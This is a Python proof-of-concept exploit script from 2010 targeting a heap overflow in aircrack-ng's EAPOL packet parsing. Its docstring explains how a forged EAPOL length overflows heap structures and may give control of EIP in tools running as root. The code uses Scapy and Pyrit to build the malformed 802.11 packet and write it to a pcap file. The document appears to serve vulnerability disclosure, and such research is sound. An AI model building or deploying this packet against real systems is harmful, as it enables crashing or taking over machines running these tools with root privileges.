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#!/usr/bin/env python # -*- coding: UTF-8 -*- ''' A remote-exploit against the aircrack-ng tools. Tested up to svn r1675. The tools' code responsible for parsing IEEE802.11-packets assumes the self-proclaimed length of a EAPOL-packet to be correct and never to exceed a (arbitrary) maximum size of 256 bytes for packets that are part of the EAPOL-authentication. We can exploit this by letting the code parse packets which: a) proclaim to be larger than they really are, possibly causing the code to read from invalid memory locations while copying the packet; b) really do exceed the maximum size allowed and overflow data structures allocated on the heap, overwriting libc's allocation-related structures. This causes heap-corruption. Both problems lead either to a SIGSEGV or a SIGABRT, depending on the code- path. Careful layout of the packet's content can even possibly alter the instruction-flow through the already well known heap-corruption paths in libc. Playing with the proclaimed length of the EAPOL-packet and the size and content of the packet's padding immediately end up in various assertion errors during calls to free(). This reveals the possibility to gain control over $EIP. Given that we have plenty of room for payload and that the tools are usually executed with root-privileges, we should be able to have a single-packet-own-everything exploit at our hands. As the attacker can cause the various tools to do memory-allocations at his will (through faking the appearance of previously unknown clients), the resulting exploit-code should have a high probability of success. The demonstration-code below requires Scapy >= 2.x and Pyrit >= 0.3.1-dev r238 to work. It generates pcap-file with single packet of the following content: 0801000000DEADC0DE0000DEADC0DE010000000000000000AAAA03000000888E0103FDE8FE0 108000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000043616E20492068617320736F6D65206D6F6172 3F 03/27/2010, Lukas Lueg, email@example.com ''' import cpyrit.pckttools import scapy.layers # A IEEE802.11-packet with LLC- and SNAP-header, looking like the second # phase of a EAPOL-handshake (the confirmation). The size set in the EAPOL- # packet will cause an overflow of the "eapol"-field in struct WPA_ST_info and # struct WPA_hdsk. # We have plenty of room for exploit-payload as most of the fields in the # EAPOL_Key-packet are not interpreted. As far as I can see, the adjacent # heap structure will be overwritten by the value of EAPOL_WPAKey.Nonce in # case of airodump-ng... pckt = scapy.layers.dot11.Dot11(addr1='00:de:ad:c0:de:00', \ addr2='00:de:ad:c0:de:01', \ FCfield='to-DS') \ / scapy.layers.dot11.LLC() \ / scapy.layers.dot11.SNAP() \ / scapy.layers.l2.EAPOL(len=65000) \ / cpyrit.pckttools.EAPOL_Key() \ / cpyrit.pckttools.EAPOL_WPAKey(KeyInfo = 'pairwise+mic') \ / scapy.packet.Padding(load='Can I has some moar?') if __name__ == '__main__': print "Packet's content:" print ''.join("%02X" % ord(c) for c in str(pckt)) filename = 'aircrackng_exploit.cap' print "Writing to '%s'" % filename writer = cpyrit.pckttools.Dot11PacketWriter(filename) writer.write(pckt) writer.close() print 'Done'